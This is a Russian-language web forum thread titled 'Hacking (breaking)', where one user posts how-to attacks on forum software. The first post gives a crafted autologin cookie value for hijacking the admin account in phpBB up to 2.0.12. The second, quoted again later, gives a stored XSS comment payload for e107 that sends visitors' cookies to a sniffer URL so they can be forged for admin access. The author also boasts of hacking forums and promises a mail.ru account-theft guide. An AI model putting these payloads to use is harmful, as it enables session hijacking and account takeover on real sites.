Page 1 of 2 12 LastLast
Results 1 to 7 of 9

Thread: Хакаем(ломаем)

  1. #1
    горец VIP Extra Club DAVid-hay's Avatar
    Join Date
    Dec 2006
    Location
    Севанское высокогорье
    Posts
    1,587
    Thanks
    747
    Interesting posts: 276
    Posts signed 580 times as interesting
    Groans
    0
    groaned 0 Times in 0 Posts
    Rep Power
    19

    Хакаем(ломаем)

    И так начну -)
    phpBB прославилась своей простотой, удобностью в юзании, но и своими мега дырками. Начнем с ранних версей...
    баг есть в версии вплоть до 2.0.12
    (внимание нужен бразуер с возмоностью редактирования куки)
    1 регистрируемся на форуме -)
    2 логинимся(заходим) под своим login & pass
    3 изменяем куки с стандартных, на следующие
    a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

  2. #2
    горец VIP Extra Club DAVid-hay's Avatar
    Join Date
    Dec 2006
    Location
    Севанское высокогорье
    Posts
    1,587
    Thanks
    747
    Interesting posts: 276
    Posts signed 580 times as interesting
    Groans
    0
    groaned 0 Times in 0 Posts
    Rep Power
    19
    e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
    1 заходим под обычним юзером
    2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)
    Code:
    [img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]
    3 идем в шнифер и смотрим что там у нас появлось.
    4 подделвываем куки и все у нас права админа.

    работает на всех версиях, где можно вставить комент с подобным кодом =)

  3. #3
    Sos mi vida ♡ VIP Ultra Club PusSycat's Avatar
    Join Date
    Nov 2006
    Location
    Moscow
    Age
    36
    Posts
    29,953
    Thanks
    5,174
    Interesting posts: 5,562
    Posts signed 8,255 times as interesting
    Groans
    0
    groaned 8 Times in 6 Posts
    Rep Power
    47
    Ой, чему это вы нас учите, мы тут все законопослушные граждане
    Для того, чтобы быть красивой, женщине достаточно иметь черный свитер, черную юбку и идти под руку с мужчиной, которого она любит.

  4. #4
    No Matter Who VIP Ultra Club Speechless's Avatar
    Join Date
    Nov 2006
    Location
    Big City
    Age
    37
    Posts
    20,717
    Thanks
    6,321
    Interesting posts: 4,556
    Posts signed 7,052 times as interesting
    Groans
    0
    groaned 8 Times in 5 Posts
    Rep Power
    38
    Главное, написал как наш форум взломать))))

    А ведь найдется умник, который испробует)))
    Даже перед тем как открыть шкаф, сперва постучи.


  5. #5
    Top VIP VIP Ultra Club Амиго's Avatar
    Join Date
    Nov 2006
    Posts
    27,662
    Thanks
    5,707
    Interesting posts: 2,049
    Posts signed 2,942 times as interesting
    Groans
    0
    groaned 3 Times in 2 Posts
    Rep Power
    45
    Quote Originally Posted by DAVid-hay
    e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
    1 заходим под обычним юзером
    2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)
    Code:
    [img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]
    3 идем в шнифер и смотрим что там у нас появлось.
    4 подделвываем куки и все у нас права админа.

    работает на всех версиях, где можно вставить комент с подобным кодом =)
    может после взлома нормальный форум сделают:smile:
    Бог мой, как велико созвездие храбрецов на небосклоне нашей истории.
    И как ослепительно их сияние. Увенчаны все, у всех есть шрамы славы.
    В зрачках у них молнии, гнев, горечь.
    Не осталось, почти не осталось в мире рода, который бы не узнал силу нашей руки.
    Г. Нждеh

    Judica, Domine, nocentes me: expugna impugnantes me.
    Confundantur et revereantur quaerentes animam meam.

  6. #6
    горец VIP Extra Club DAVid-hay's Avatar
    Join Date
    Dec 2006
    Location
    Севанское высокогорье
    Posts
    1,587
    Thanks
    747
    Interesting posts: 276
    Posts signed 580 times as interesting
    Groans
    0
    groaned 0 Times in 0 Posts
    Rep Power
    19
    Quote Originally Posted by Speechless
    Главное, написал как наш форум взломать))))

    А ведь найдется умник, который испробует)))
    знаешь когда нашли дырку в phpbb до версии 2.0.12 все форумы с такой версией были снесены любителями -) знаешь довольно весело, я сам пару таких взломал...
    Сегодня постараюсь сделать подробный урок, как угнать акууант с mail.ru -)
    А этот форум кстати такими методами не взломаешь -)

  7. #7
    Areopagus member VIP Ultra Club Хулигано's Avatar
    Join Date
    Nov 2006
    Location
    Сам-АРА
    Posts
    12,666
    Thanks
    3,408
    Interesting posts: 3,227
    Posts signed 4,663 times as interesting
    Groans
    0
    groaned 10 Times in 6 Posts
    Rep Power
    30
    Quote Originally Posted by DAVid-hay
    А этот форум кстати такими методами не взломаешь -)

    Ииии... почему раньше не сказал? пытаюсь-пытаюсь, никак не получается :angry: :smile:
    Спасибо тем, кто меня любит - вы делаете меня лучше.
    Спасибо тем, кто меня ненавидит - вы делаете меня сильнее.
    Спасибо тем, кому вообще пофиг - вы нужны для массовки.










Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Иллюзии. Ломаем глаза.
    By Хулигано in forum Photo Gallery
    Replies: 4
    Last Post: 11 Feb 08, 16:30

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •